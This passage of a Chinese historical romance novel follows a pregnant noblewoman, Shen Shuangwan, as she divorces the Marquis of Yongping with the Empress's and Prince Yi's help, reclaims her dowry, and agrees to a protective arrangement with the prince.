“真就这么高兴?”武阳长公主在一旁坐了,又招手让自己女儿过来,“方才我与你哥哥说了今天在宫里的事情,你哥哥和我的意思都是,不如再等一等。”
“等什么?”成安郡主把头上的凤钗取下来丢在妆台上,起身走过来挨着长公主坐了,“今天不是什么都解决了?现在不是正好?还要等什么?”
“这事情传出去不好听。”武阳长公主耐着性子说道,“把别人原配妻子逼走,再嫁给她,就算你是皇帝的女儿,是公主,也会是要被人唾骂的呀!”
“薛望喜欢我,我也喜欢他,我们彼此情投意合,这就足够了。”成安郡主很是无所谓,“那些唾骂的人又不敢到我面前来骂,我搭理他们做什么?我劝母亲也别搭理他们。”
这话实在说得太轻巧,长公主看了女儿一眼,一时间也不知还能
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说什么。
成安郡主又道:“况且现在仪王都说了要那个沈氏,要是可以骂我,那也能骂仪王,他觊觎人妻。”
“……”这实在是长公主想不到的逻辑,她只觉得额头一突一突跳着疼。
“母亲,你总在意那些外人说话,实在是徒添烦恼。”成安郡主还在继续说着,“还是不要管那些人吧?反正嘴巴长在别人身上。”
“将来你出去和人交际,别人含沙射影在你面前说,你不生气,你不恼火?”长公主打起精神来和自己女儿掰扯。
“他们敢到我面前说,我难道不会骂回去?”成安郡主不高兴了。
“若有人说,早知道郡主今日要来,便不敢叫我家侯爷一并过来了,真怕被郡主看到。”长公主看着女儿面无表情地说着话,“你生气吗?你要骂回去?你怎么骂?”
“他们家侯爷关我什么事,我……我为什么要生气!”成安郡主嘟起嘴巴哼了一声。
长公主却不答,只把女儿上上下下打量了一番,然后移开目光去看别处。
“母亲,你这是什么意思啊!”成安郡主眉头皱起来了,“你那样看我做什么!”
“我可什么都没说,你这会儿就恼火起来了,是不是?”长公主转回来重新看向了她,“我看你一眼你就皱眉,怎么,我不能看?”
成安郡主张了张嘴巴想反驳,但到底刚才的确是动了火,便只好又闭了嘴。
“我刚才说的那句可不是最难听的。”长公主道,“那些话你必然不想听到,我也不想叫你去听。”
“那些人可真坏。”成安郡主嘟嘟哝哝道。
长公主摸了摸女儿的头发,叹了一声:“所以还是再迟一些吧!这事情不急于一时。”
“难道迟一些,就没人说那些了?”成安郡主看向了长公主。
“总比在风口浪尖上好。”长公主淡淡道,“再者说,那沈氏若是能服软,这事情也应当有个转圜。”
“什么服软,我可不想让她跟我一起做什么平妻!”成安郡主道,“她凭什么和我平起平坐?”
“再说吧,也不一定是非要做平妻。”长公主看着女儿,“无论如何,都需要时间。”
“要多久?”成安郡主问。
长公主想了想,道:“沈氏肚子里有永平侯的孩子,且看她能不能把那孩子生下来。”
“难道母亲还要让我养那个孩子?我不养!我又不是不能自己生!”成安郡主再次恼怒起来,“她最好别生下来。”
“且看吧,先不急。”长公主语气仍然淡淡。
成安郡主拉着长公主的手道:“母亲,那你告诉我,你是有什么打算?”
“有什么打算,现在也不能告诉你。”长公主看向女儿,“你只记住,母亲是为了你好就行了。”
“好吧……”成安郡主叹了一声,“就是那沈氏不识趣,难怪薛望不喜欢她!”
长公主没再多说什么,只站起来,道:“天色不早了,你别折腾那些衣服首饰,早些休息吧!”
21. 回侯府
沈霜晚醒来时候天光已经大亮。
外间宫人听到动静便捧着水盆等物进来伺候了她梳洗,又送上了早膳,等她吃过之后,便引着她去拜见皇后。
皇后见到她,并不叫她行礼,只叫她先坐下,说起了家常话。
“昨天倒是忘了问,你今年多大了?”皇后和善地笑着问。
沈霜晚对皇后感觉到十分亲切,便道:“今年十九。”
“比我那无法无天的小儿子还小啊。”皇后颇有些感慨,“你看着倒是比他还成熟几分。”
沈霜晚不知这话要怎么接,只好笑了笑。
皇后又道:“我昨日问了问宫人,你父亲当年也是一方大吏,十分有名望,如何沈家会只剩你了?”
沈霜晚想了想,才道:“父亲快到五十岁才得了我,膝下无子,又去得突然,没来得及安排好妾与母亲,族中便趁着父亲去世时候强行过继了嗣子到父亲名下……”
“我知道了。这事情屡见不鲜,说多了徒增伤感。”皇后摆了摆手,示意她不必再继续说下去,“想来你这婚事也有波折不少,沈家怕是见不得你与你母亲得了这样的好亲,是不是?”
沈霜晚眼眶微微发胀,她点了头:“是,妾的二叔原是想叫妾的堂姐替妾嫁到薛家去。”
皇后叹了一声,道:“你小小年纪,实在经历太多委屈。”
沈霜晚不敢太附和这话,便只拘谨地点了下头。
“不过你说到你二叔,你二叔如今不在京中了?”皇后又问。
沈霜晚犹豫了一会,又小心看了看皇后的神色,才道:“二叔后来把妾的堂姐送到东宫做了奉仪……”
皇后愣了愣,露出恍然神色,示意沈霜晚不必继续说下去了:“原来是这样,难怪沈家在京中都无人。”说着她自嘲地笑了一声,“说起来也算是受到我大儿子的牵连,难怪我小儿子莫名其妙就要拉你一把,大约也算是皆有前因。”
沈霜晚垂下眼睑,道:“娘娘言重了。妾二叔一家并非无辜,认真说来,只怕是给太子殿下添了不少麻烦,娘娘没有怪罪沈家,是娘娘宽宏大量。”
皇后叹道:“过去的事情便不提了,都已作尘土。”
.
太阳升起来了,阳光透过窗格撒进了殿中,整个大殿都明亮了起来。
皇后看向沈霜晚,道:“昨日你说想与永平侯分开,一夜过去了,你想好了吗?可有决定?”
沈霜晚不假思索道:“妾已经有决定了,妾想与永平侯和离。”
皇后顿了顿,似乎是想说什么的,但末了只点了头,道:“既然你有决断,那就随你。”
沈霜晚微微松了口气,拜谢下来:“多谢娘娘。”
皇后招来女官,道:“今日你就陪沈夫人去永平侯府一趟,和离的文书之类你替沈夫人跑一趟官府。”说到这里,皇后露出思索神色,又看向了沈霜晚,“你可愿意去杨家暂时住一些时日?”
沈霜晚愣了一会才想到皇后所说的杨家应当是国舅杨家,皇后说这话当然是一片好心,只是……她是不是应当听从呢?正是犹豫时候,仪王的声音突然传来了。
“为什么要去杨家,昨天不是说好了去我府上么?”伴随着仪王说话的声音,还有一连串宫人们的问候,以及仪王敷衍不耐烦的叫起。
沈霜晚闻声也站起身,还没行礼就被皇后拦下了。
皇后向仪王道:“你今天不是说要出宫去?”
仪王道:“这会儿我就带着沈夫人一起出宫了。”
皇后顿了顿,看向了沈霜晚,问道:“你……愿意跟着仪王出宫去?若不愿意,便不必搭理他。”
沈霜晚静默了片刻,忍不住去看仪王,而仪王却并没有多看她,只是在一旁随便找了个位置坐了。
“去舅舅家有什么好?舅舅那人迂腐又古板,说不得今日才过去,明日就强令沈夫人回薛家,再说些什么好女不嫁二夫之类的鬼话,到时候母亲落得个里外不是人,舅舅还要说自己是修复了一桩婚事,做了天大的功德。”仪王拿起小几上的茶水喝了一口,“沈夫人就跟着我,我府上又没别的人,在我府上有什么不好?”
皇后露出欲言又止神色,最后仍然还是看向了沈霜晚,道:“这便由着你自己了。”
沈霜晚心中有些犹豫。事实上她哪边都不想去,去杨家也好去仪王府上也罢,不过都是给他人徒添话柄,她只想离开了薛家,自己独自过活便是了。她手中有银钱,自己养活自己也不是难事,为何非要去别人家呢?
但她也知道皇后与仪王都是出于好心才会提出收留,她是否要接受这份好意?
她低头看到自己隆起的肚子。
仪王笑了一声,起身上前来朝着她伸了手:“走了,你今天不是要和永平侯和离吗?我跟着你过去,也省得你被永平侯纠缠不休无法脱身。”
沈霜晚抬头,正好碰上了仪王带着几分调笑的眼神,她耳边那喋喋不休的莫名声音开始尖叫着历数仪王做过的荒唐事迹,大约她心中是有那么一些逆反的,她便握住了仪王的手。
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皇后看着自己儿子带着沈霜晚离开,笑叹了一声,慢慢站起来走到太阳底下去。
一旁女官小心道:“娘娘,要不要还是劝劝仪王殿下,沈夫人毕竟有孕在身,接回府中……恐怕闲言碎语太多啊!”
逆着光,皇后眯着眼睛推开窗户,淡淡道:“随他去,我就只剩这一个儿子了,他想做什么就做什么,只要他自己高兴。”
女官犹豫了一会,道:“杨国舅递了牌子,想见娘娘。”
皇后无所谓地摆了摆手,道:“不见,若是朝中的事情去朝堂上与陛下说,若是杨家有什么难办的事情去和十一郎说。”
女官应下,便退到一旁去。
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马车不紧不慢地往前走着,仪王骑着马,跟在马车后面,随意散漫。
沈霜晚坐在马车中,她耳边那莫名的声音渐渐恢复了平静,不似方才那样狂躁了。
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“你若和薛望分开,你肚子里的孩子怎么办?”那声音问,“将来他长大,问起你父亲是谁,你要如何说呢?就算为了孩子,也不应该与薛望分开啊!”
沈霜晚不想回答这些问题,她也不认为这是什么大不了的事情,该生便生下来,她自己养个儿子也好女儿也罢,这不是什么天大的要命的事情——最要命的昨天她都已经渡过了,难道皇帝太后会因为她生了个孩子又追出来赐死她吗?
那声音犹自道:“离开薛望,对你,对薛望,对孩子,都不是一个好的决定。”
喋喋不休暴怒一夜之后说出了这句话,倒是让沈霜晚觉察出了些什么,这声音自从她梦见将来后便伴随出现,她之前已经猜测过这声音或者不是一人而是两人,此刻她想再大胆些去猜测了,这声音是否是来自将来的薛望和她肚子里的孩子呢?
否则为何会有那么多的指责,否则为何会那么担心孩子,否则会那么关切薛望?
将来的自己退无可退通过梦境来警示不要再走老路,将来的他们则通过这样的方式劝她继续妥协。
薛望想让她妥协倒是情有可原,孩子为何要她妥协?是觉得将来她必定流离失所,他会跟着吃糠咽菜?
正想得出神,马车停了下来。
车夫打了帘子请她下车。
永平侯府已经就在眼前了。
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薛望听到门口的小厮来回禀仪王驾到时候先愣了一愣,然后便想起了沈霜晚。
他心中矛盾得很。
之前他多次想去祈求仪王想得个一官半职,可仪王昨日偏偏插手了他与沈霜晚之间的事情,他简直不知道仪王是故意而为之,或者只是一时兴起。
若是一时兴起,那今日必定是来送还他的妻子。
若是故意而为之……他难道什么时候得罪过了仪王么?
正想着这些,他瞥见小厮脸上似乎还有未尽之意,于是皱了眉:“还有什么话要说?”
“夫人一并回来了……”小厮低下头。
薛望面色沉了沉,他说不清自己究竟是何种心情了,他只站起身来,道:“请夫人回正院,再请仪王殿下去正厅。”
小厮应了下来,赶紧跑了出去。
薛望站起身,他心中充满了不安和烦躁,他走出书房,一步一步朝着会客的正厅走去。
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另一边,沈霜晚与仪王一起进到了永平侯府中。
还没走几步,便有人迎上前来,请沈霜晚回去正院。
不等沈霜晚开口,仪王便笑了一声拦住了他们:“给你们侯爷留点面子,有些话就不当着你们这些下人说了,你们只去催他赶紧出来吧!”
仆从们先小心看了眼沈霜晚,见她没有动作,才赶紧退下去找薛望。
仪王打量了一番侯府中的仆从,笑道:“这侯府中的仆从倒是也算有眼色。”
这话实在听不出是挖苦还是夸赞,沈霜晚便也只笑了笑,与他一起进去了正厅中。
22. 嫁妆
薛望进到厅中,首先看到的是沈霜晚。
她穿着一件织金的外裳,艳光夺目,顾盼生姿,直令他神摇意夺,难以自己。
这非是她平常在家中时候打扮,往日在正院时候,她身上服饰多以沉稳颜色为主,譬如青灰、赭石之类,少见这样张扬。
再细看那衣裳,是宫中的样式,薛望心想着这大约是在皇后宫中换上的。
想到这里,薛望又有些患得患失起来。
走到沈霜晚面前,他声音放柔和了一些,道:“我以为你会先回正院歇一歇的。”顿了顿,他又道,“昨天是我不好,我给你道歉,别再说气话了,好不好?”
然而,还没等沈霜晚开口,一旁的仪王却笑了一笑,他的语气仍然如往常一般肆无忌惮。他道:“永平侯,沈夫人今日是与你和离的,你这些话还是早些收起来吧!”
这话叫薛望几乎火冒三丈,他竭力忍住不去驳斥仪王,而只去看沈霜晚,语气更加轻柔了一些:“不知你用过早膳没有,我叫厨房做了你爱吃的馄饨,要不要用一些?”
仪王亦看了沈霜晚一眼,他甚至就在一旁直接坐下了。
而沈霜晚缓慢眨了下眼睛,抬眼看向了薛望。她语气淡淡道:“我不爱吃馄饨,侯爷费心了。”
仪王没忍住笑了出来,他漫不经心靠在凭几上,口中点评道:“永平侯,你这份关爱可真是……”他啧啧了两声,后面的话没说下去。
薛望霎时间只觉得脸上烧得厉害,他努力忽视仪王,仍只看着沈霜晚,道:“那你想吃什么,我叫厨房去做了来。”
沈霜晚却笑了笑,道:“不必了。”
薛望愣愣看了一会沈霜晚,忽地想起他们刚成亲时候的情形了。
刚到薛家的沈霜晚并非是现在的性子,那时候或者是因为年纪还小,她是爱说也爱笑的,她那时常常会往书房送零零碎碎的吃的用的。
他那时候总嫌她烦,家里什么没有呢?厨房难道会少了他的一日三餐?用得着她这么一顿一顿麻烦又迂回地往前头送那些一看就寻常的东西?
他说过许多次不必——或者也只说过一两次,时间实在过去太久,他甚至不太记得了什么时候开始,她很少再往前院来,或许是从给连氏守孝的时候开始。
想到这里,薛望莫名觉得有些心虚起来。
不过心虚也就一瞬,他很快又理直气壮起来,他当初在连氏面前许诺过会好好对待沈霜晚,连氏也把唯一的女儿托付给了他,这些年他不曾亏待过沈霜晚半分,就连这次也不过是沈霜晚自己闹了脾气。
于是他便再次看向了沈霜晚,面上从容许多:“那便先回去休息。”
沈霜晚上前了一步,她从袖中取出了一卷薄薄的文书,双手递到了他面前。
他迟疑了一会,还是接了过来徐徐展开。
是一封和离书。
沈霜晚道:“妾与侯爷结缡四年,到今年,夫妻相对,形如陌路。眼见侯爷终日郁郁,心烦意乱,妾无能,不能为君分忧,想是缘分已尽,到分别之时。听闻有淑女心仪侯爷已久,妾自请与侯爷和离,令侯爷与淑女结两姓之好,得锦绣坦途,日日欢颜。”
听着这话,薛望深吸一口气,他的手微微颤抖着,把那书卷揉成了一团狠狠丢在地上。
“我不允。”他看着沈霜晚,他的目光挪到了她的肚子上,“我不会允许的,你想带着我的孩子去哪里?”
沈霜晚弯下腰,她拾起了那卷文书,重新放到了他手中,没有半点退让之意。她看着他的眼睛,缓慢而坚定道:“侯爷还是需要一些颜面,才好娶郡主。”
薛望感觉自己脑子一片嗡嗡,他逼近沈霜晚,又迫于仪王还在不能大吼大叫,他竭力压抑着胸中的怒火,他几乎要把手里那张纸给捏碎:“我说了,我不允许,也不同意。这和离之事,你想都不要想。你既然嫁到了薛家,这辈子就是薛家的人,你哪里都不能去!”
沈霜晚抬头看他,她似乎并没有被他的怒火震慑,她的目光平静,语气还是如方才一般波澜不惊:“我劝侯爷想清楚,你我和离,侯爷干干净净清清白白再娶郡主,名声尚存,前途可期。若非要与我掰扯出个是非曲直……”她顿了顿,嘴角甚至还翘了起来,她似乎在嘲笑他,“有许多事情侯爷是不想承受也不想听的。”
薛望觉得呼吸一滞,他道:“我自认……无事不可对人言。”
“你的母亲呢?你们母子不是一体?”沈霜晚看着他。
这话直叫薛望背后一凉,他捏紧了手中那卷文书,没有说话。
沈霜晚后退了一步,与他拉开了距离,道:“我只带走我的嫁妆,其余的东西我不会碰。”
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朱氏听说沈霜晚回到府中时候摔了杯子。
她换了衣服正要往前面去的时候,丫鬟丛燕进来说薛望已经同意和离的事情。
“仪王殿下还在前头,侯爷说这事情他已经决定了,请老夫人不必再往前面去。”丛燕小心地说着。
朱氏目光凶横地扫了丛燕一眼,随即拿了主意:“去正院,这府里的东西,不许她带走!”
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听着沈霜晚说要带走嫁妆,仪王一挥手,便叫长史带着兵士一起跟着她一起回正院去。
顿时浩浩荡荡一大群人,便跟在沈霜晚后面进去正院。
仪王远远缀在后面,他身旁是面色铁青的薛望。
“殿下不必连这些事情也要看吧?”薛望忍耐地看向了仪王。
仪王很是无所谓地在太阳正好的地方坐下了,他靠在栏杆上抬了抬下巴,笑了一声:“那是不是你母亲?”
薛望顺着仪王指的方向看过去,果然便见朱氏气势汹汹带着人过来了。他眉头一皱,正打算上前去阻拦时候,听见身旁仪王又笑了笑。
“少师去世之前给父皇上书,说自己位卑无能,多年来尸位素餐无所作为。”仪王顿了顿,看着薛望,“少师便说,如此便不应当将爵位传与子孙。”<
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薛望一愣,他脚步停下了。
“后来父皇想起少师当年也铁骨铮铮敢于直谏,不过是因为郑鹤得缘故才蹉跎数年,再忆及大哥尚在时候少师与大哥君臣相得,便就将少师的爵位重新授予你。”仪王似笑非笑,“你得了少师爵位,却无少师风骨,子不肖父莫过于此。”
薛望握紧了拳头,他感觉他整个人都在发抖——是因为父亲临终时候上书的震惊?又或者是因为仪王那句子不肖父生气?他一时间分不清楚。
这时,他听见前面朱氏高亢而尖锐的笑声。
朱氏道:“这些东西都是我们薛家的,你一样都不许带走。”
薛望来不及去想太多了,他赶紧往前跑去。
仪王好奇,便也跟了上去。
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沈霜晚从嫁妆单子里面抬头看向了朱氏,她顺着朱氏指的方向看过去,是之前朱氏送过来的几匹散花绫。
“老夫人不必叫嚷,这些散花绫你直接拿回去就可以,那东西我看不上也并不打算带走。”沈霜晚摆了摆手,让承月她们直接把东西搬到旁边去,然后继续对着单子清点库房里的东西,好叫人装箱带走。
朱氏目光如炬,也盯着库房中的东西,她很快便注意到了放在架子上的两把琴。“这琴是你什么时候偷来的!好啊,你还夹带了多少薛家的东西偷到你这里来!”朱氏命丛燕上前去把一把落霞琴拿起来,“还有这些字画!不都是我们薛家的东西!”
沈霜晚把嫁妆单子随手递给了旁边仪王府的长史,然后拿起了账簿翻开来,找到记着落霞琴的那一笔给朱氏看。
“老夫人请看,你儿子薛望拿了我嫁妆中的伏羲琴和一些字画去送礼,事后就拿了这把落霞琴和这些字画来填补。”沈霜晚看着朱氏,这似乎是她嫁到薛家来第一次与朱氏这样不讲情面地说话,“老夫人你得问问你儿子为什么拿我的嫁妆出去送礼,而不是在这里吵嚷。”
朱氏一时语塞,还想说什么时候,薛望已经走到面前来了。
“那琴是我放到库房来的,母亲,这里没有你的事情,你先回去吧!”薛望已经听清了来龙去脉,他此刻心情糟乱,再想到之前沈霜晚说过朱氏的那句话以及仪王刚才的话语,他几乎希望朱氏立刻消失才好。
朱氏却不依不饶,她道:“既然要和离,当然要算清楚!你嫁过来时候一穷二白,一针一线哪个不是我们薛家的,你今日还想带走这么多东西,简直痴心妄想!”
仪王从长史手里把沈霜晚的嫁妆单子拿过来看了一眼,顿时笑了:“这上头都是书啊画啊之类,我看着夫人也没碰那些金银之物,难道这些书画都是薛家的么?”说着他看向了长史,“别吵嚷了,你替夫人把那些字画书籍都装好,不许碰坏了。这单子上有的,一个都不能少。若有缺漏,叫永平侯拿东西来赔!”
这话一出,朱氏露出讪讪神色。
薛望则看向了沈霜晚,但沈霜晚低着头与承月在说什么,并没有多看他一眼。
23. 交换
最后一箱书装好的时候,正院已经没有几个薛家的下人了。
承月远远看着沈霜晚,想上前来却被薛望止住。
仪王长史指挥着兵士们把那一箱箱沉甸甸的书都抬走,而仪王本人则在假山旁晒太阳。
沈霜晚合上了嫁妆单子,心中又是轻快又是苦涩。
她将要离开薛家,她不必再陷在泥沼中无法动弹,梦中一切就要离她远去。
未来她并不确定会发生什么,但至少不会走到和梦中一样的结局,大约也能算是一个好的开始。
可若她没有得那个梦呢?
她从小到大可有做错什么事情?为何她在梦中会得到那样的结果?
若她无过无错,是否是命运如此,上天便就是不打算眷顾她?
走到妆奁前,那上头还散放着她常用的钗环手镯等物,沈霜晚回头在人群中找寻了一番,对承月等人招了招手。
承月立刻绕过众人跑到跟前来了,跟随而来的还有承星与另外几个小丫鬟。
“这几年你们跟着我也辛苦了一场,将来未知是否会再见,这些小东西你们就拿去分了吧!”沈霜晚沉沉叹了一声,如此说道。
承月等人相互看了看,齐齐应下。
“平日里我们的话说得也够多了,今日便不再啰嗦。”沈霜晚起身往屋子外面走,“天下无不散之宴席。”
屋子外面,仪王看到沈霜晚出来,便也站了起来。
“走了么?”大太阳底下,他眯着眼睛笑着。
沈霜晚点了头,道:“走了。”
仪王便对着兵士们比了个手势,一行人浩浩荡荡抬着箱笼依次离开。
跨过垂花门,沈霜晚又回头看了一眼,她忽然觉得这正院虽然住了好几年,可却陌生得很。
就这么一愣神的工夫,薛望再次追了上来。
“我会把正院留着,等你回来。”他这样说道。
沈霜晚有些意外,又觉得有一些好笑。
“不必了,既然要娶郡主,便好好待郡主吧!郡主不是我,她不会包容你,也不会包容老夫人。”她看着薛望,这似乎是他们罕有的心平气和说话的时候。
“无论何时,你想回来,只需要给我一封信。”薛望坚持道,“仪王不过是一时兴起,他只想看笑话而已,今时今日的事情我不怪你,这一定是仪王在背后蛊惑你才做出了这样的决定。”
沈霜晚摇了摇头,她没有答话,只是往外走了。
薛望还想跟上,却被仪王长史拦住了去路。
“侯爷,不必再送了。”长史笑了笑,“方才殿下差人往衙门走了一趟,侯爷与沈夫人之间和离的文书已经落了印,请侯爷收好。”一边说着,长史拿出一封盖过印鉴的和离书来,“请侯爷之后不要再纠缠沈夫人。”
薛望盯着那和离书,半晌没说出话来。
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沈霜晚踩着脚凳上了马车,还没坐定,仪王便跟在后面一跃而上,坐到了她对面。
“殿下?”沈霜晚有些疑惑地看向了他。
“看到讨厌的人了,不想骑马。”仪王拉好了车帘让车夫赶路,“走了,现在回家了。”
沈霜晚顿了顿,又看了仪王一眼。
“想说什么就说。”仪王也看向了她。
“妾是想请殿下帮忙在京中租赁个院子。”沈霜晚看着仪王,“若殿下忙碌,是否可以请托一下长史大人?”
“不是说好了住我那?”仪王莫名其妙看着她,“为什么要租赁什么院子?”
沈霜晚看着眼前这个于她而言几乎算是陌生人的仪王殿下,笑了笑:“我以为殿下昨天不过是一句玩笑话好给大家解围。”
“给你解围。”仪王懒懒散散在旁边靠着了,他看着她,“怎么,不领情?”
“领情。”沈霜晚认真看着他,“可殿下,恕我直言……”她想了想措辞,然后才继续说下去,“我与殿下您其实还不认识吧?陌路男女,我住到殿下府中,似乎太过奇怪了。”她抚着自己肚子,“殿下大概也不太想给别人养个孩子吧?”
“我排行十一,上面有十个哥哥,底下还有两个弟弟,另外还有八个姐姐,一个妹妹。”仪王随口说道,“同母的哥哥就一个,已经死了,同母的姐姐也只有一个,也已经死了。”
“……”这随口就来的介绍实在是让沈霜晚有些无法招架。
“哦对,我大名赵弘美。”仪王撑着头看她,“我们现在算不算认识了?”
沈霜晚沉默了一会,点了头。
“那就行了,不必租什么院子,我府里大得很。”仪王说道,“说了让你到我府上来,就是要到我府上来的,你不必担心什么,安心住下就行。”
“可……这似乎……会给殿下带来一些闲话。”沈霜晚委婉道。
仪王很无所谓地笑了一声,道:“我身上闲话够多了,你这点事情压根儿不算什么。”
沈霜晚想起来之前听说过的一些关于仪王的流言,一时间倒是想问又不太好问,只好不说话。
这时,马车停了下来。
沈霜晚有些奇怪地想要掀帘子看外面,但却被仪王拦住。
外面传来了仪王长史的声音。
“杨娘子,这是沈夫人的车驾,我们殿下今日在宫中,没有出来。”长史客客气气说道。
仪王一皱,当机立断往后一倒,整个人都埋在了马车层层叠叠的靠垫后面,他拉了拉沈霜晚的手,示意她挡一挡。
沈霜晚有些茫然,但还是往旁边挪了一挪。
刚坐稳,车帘被掀开了,只见一个削瘦又冷傲的女人正拿着鞭子吊着眉头往里面瞧。
沈霜晚皱起眉头:“你是什么人?”
“嘁,原来他真不在这里。”那女人看也不看沈霜晚,转身上马去,又看向了仪王长史,“我这就进宫去,我倒是看看他要躲到什么时候!”说完,她手中鞭子大力下去,一骑绝尘而去。
长史上前来把车帘放下,恭敬道:“那是杨国舅的女儿,殿下的表妹,皇后娘娘的侄女儿
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,性格就是如此的,沈夫人莫怪。”
沈霜晚下意识回头看向了扑在软垫中的仪王,仪王没什么形象地抱着一个大靠垫,对着她眨了眨眼睛。
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马车继续往前走了。
仪王从软垫中爬出来重新坐好了,他给沈霜晚倒了茶,颇有些烦恼地笑了一笑。“你听说过我那些事情没有?”他问。
沈霜晚点了头:“略知道一些。”
“刚那个就是我之前的王妃。”仪王很无所谓地笑了一声,“我跟她相处不好,又实在矛盾重重,就与她和离了——当然了,她不觉得算和离,她觉得是我抛弃了她。”
沈霜晚静默了一会,这事情若套在她和薛望身上大概就是她觉得她和他是和离,但薛望觉得她背叛了抛弃了他。
“后来就是,本来分开了各自安好就行了,她又还想和好。”仪王给自己也倒了杯茶,“我懒得理她,她就到处堵我。之前我去凉州躲了些时日,没想到这才回京城几个月,她又粘上来。”
听话听音,沈霜晚本就不是呆傻之人,她抬眼看向了仪王:“殿下是想让我帮忙挡一挡她吗?”
仪王意外地看向了她,露出赞赏神色:“昨天在宫里我就知道你是聪明人!”顿了顿,他挪到了沈霜晚正对面坐下了,“你就气死她就行了,剩下的事情都由我来,怎么样?”
这实在是有些像在开玩笑,沈霜晚看向了仪王,有些不解:“听起来这位杨娘子对殿下是情根深种,为何殿下……?”后头的话她没说下去,只是看着他。
仪王摇了摇头,道:“我与她最初相处不好,乃是因为她处处要强,总想骑在我头上作威作福,我无法忍受,便才与她和离。为了与她和离,我当初从秦王贬为襄安王。”顿了顿,他叹了口气才继续道,“我当然有错,但我被贬了爵位,我也得到了惩罚,这事情理应到此为止。可她不是那么想,她一路纠缠到如今——这掐指一算,只怕也有四五年了。”
沈霜晚静默了一会,竟是没想过会是这样情形。
“我昨天见你,便突然有了这么个想法,我觉得你可以替我挡住她。”仪王认真道,“作为交换,我庇护你,直到你看中哪个男人想和他去成亲,怎么样?”
“恕我直言,这并不算是个好办法。”沈霜晚好笑地看向了仪王,“我倒是无所谓,可殿下将来若有喜欢的人可就难办了。我在殿下身边,只怕是要挡殿下的姻缘。”
“我都不怕你怕什么?”仪王看着她,“我很明白我在做什么,你愿不愿意做这个交换?”
沈霜晚顿了顿,也不知为何这么简单的一句话让她生出了许多触动。
他很明白他在做什么。
那么她呢?
前路茫茫,她还未找到明确的方向。
她垂下眼睑,又看了一眼自己的肚子,再抬眼看向仪王,仪王正笑着看着她,等着她给一个答案。
“好吧,我答应殿下就是了。”她说,“这事情最终吃亏的可是殿下,殿下自己得想好了。”
24. 杨月芷
午后,长宁宫一片宁静。
阳光洒在殿前,满目金黄的暖意。
皇后小憩了半个时辰起身时候,宫人进到殿中来,恭敬地通传说杨娘子在外面求见。
“月芷?”皇后一边整理衣衫一边问。
宫人道:“是,杨娘子还给娘娘带了些糕点。”
皇后叹了一声,问左右:“十一郎在宫中么?”
左右忙道:“仪王殿下还没回来。”
“那就宣她进来吧!”皇后如此说道。
宫人们纷纷应下,过了一会儿,杨月芷便拎着食盒从外面进来了。
皇后坐在上首,免去了她行礼,又叫她在下首坐下。
“怎么今日突然想到进宫来?”皇后问。
杨月芷把食盒交给宫人,规规矩矩在一旁坐下,口中道:“前两日原本打算跟着爹爹一起进宫来看姑妈,爹爹说姑妈身子不好不叫我跟着进来捣乱,可我心里惦记着姑妈,今日便偷偷进宫来见一见姑妈。”顿了顿,她指了下那食盒,又道,“我给姑妈带了些京城的小吃,是姑妈之前觉得好吃的那个糯米炸糕,还是热的呢!”
宫人把一碟子炸糕从食盒中拿出来,命人试过之后才送到了皇后面前。
皇后尝了一小块,便放下了筷子,笑道:“味道还是如从前一样。”
杨月芷也笑道:“姑妈胃口好就多吃些,爹总在家说,吃得好才能身体好。”
皇后笑道:“你也要多吃些,看着瘦骨嶙峋,怎么比之前还瘦了?”
杨月芷面上露出几分委屈,道:“姑妈,我去找表哥,表哥总不理我。姑妈帮我劝一劝表哥嘛!”
皇后心中暗叹,她此生最后悔事情之一就是让小儿子娶了娘家的女孩儿,从前她儿子拼着亲王都不当了也要和离,现在是宁可去凉州呆着也不愿意回京。她年纪大了,膝下又只剩下一个他,从前还有几分严厉,如今便只剩下了疼惜,是断然不肯叫他受什么委屈的。
于是皇后便道:“姑妈与你爹说过许多次,你现在也是大姑娘了,不妨也就直接与你说也一样。十一郎与你既然和离,过去的事情便不要纠缠了。你若有喜欢的其他男人,姑妈给你赐婚便是。”
杨月芷听着这话,眼泪便涌出来,她哽噎道:“可我喜欢表哥,当初我也没做错什么事情,表哥为何避我如蛇蝎呢?”
皇后只好道:“人和人之间的缘分是说不准的,你别哭了。”
杨月芷拿着帕子擦眼泪,口中呜咽,道:“我进宫时候还碰到了表哥府里的长史,原以为表哥也在,还想和他说说话。长史说表哥在宫里,现在一想,恐怕是哄我。”
皇后略一想就知道是什么情形,也觉得头疼得很,只好道:“你还是早些对你表哥死了心吧!京中那么多年轻才俊,你喜欢哪个直接对我说便是。”
“我谁也不喜欢,我就喜欢表哥。”杨月芷泪汪汪看着皇后,“姑妈,我就喜欢表哥。我和表哥就是有缘分的,若是没缘分,当年怎么成亲的呢?他觉得我哪里不好我改就是了,为什么见都不见我?”
皇后无话可说,但也只能硬起心肠道:“月芷,过去的事情就是过去了,我希望你不要再纠结。这对你,对杨家,都没什么好处。”顿了顿,皇后又道,“我这儿有些进贡的花缎不错,你带回去给你祖母吧!”皇后示意宫人拿了几匹缎子出来,“圣上寿宴快到了,你们做几件新衣裳。”
杨月芷拿着帕子擦了眼泪,心知自己不应继续纠缠,便接了缎子,又陪着皇后说了会儿最近京城的新鲜事,接着便告辞。
皇后便命人把杨月芷送到宫门口,另一边又叫人去告知仪王,免得两人在路上碰到又吵起来。
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杨月芷还没走一会儿,今上便到长宁宫来了,见到宫人们进进出出样子,今上一边疑惑,一边进到殿中来。
“刚才谁来了?”今上笑着走到皇后身边坐下,一眼就看到了摆在小几上的炸糕,“你娘家来人了?”
皇后摆了摆手,疲惫道:“月芷进宫来哭说十一郎不理她。”
光就听到这两个名字,今上就露出了牙疼的表情来,他道:“十一郎今天是不是还跑到永平侯府去了?他、他——”今上罕见的有些犹豫不定,“你说十一郎是不是喜欢那个沈氏啊?”
这话把皇后吓了一跳,她看向了今上:“陛下为何这么觉得?”
今上接过宫人呈上来的茶,示意他们把那炸糕拿走,然后才道:“朕看着像,要不为什么突然为那个沈氏出头?他向来不喜欢搭理这些事情。从前跟杨氏在一起时候都没见他这样跟前跟后片刻不离的。”
皇后沉默了一会,竟是无法回答。
“昨日倒是没仔细看那沈氏长相。”今上若有所思。
皇后笑了一声,道:“随他去吧,若真的喜欢,能定定心,像个大人倒是还好了。”
这话叫今上也笑起来,道:“他就还是孩子心性,也不知什么时候能长大。”
皇后又道:“成安郡主那事情,长公主可有决定了?”
这问题让今上叹了一声,道:“嘉儿仿佛对那个薛望十分看中,不过皇妹应当不会急着让他们成亲。”顿了顿,他想起什么似的,看向了皇后,“嘉儿倒是和你家的月芷一样,在男人这事情上颇为死心眼。”
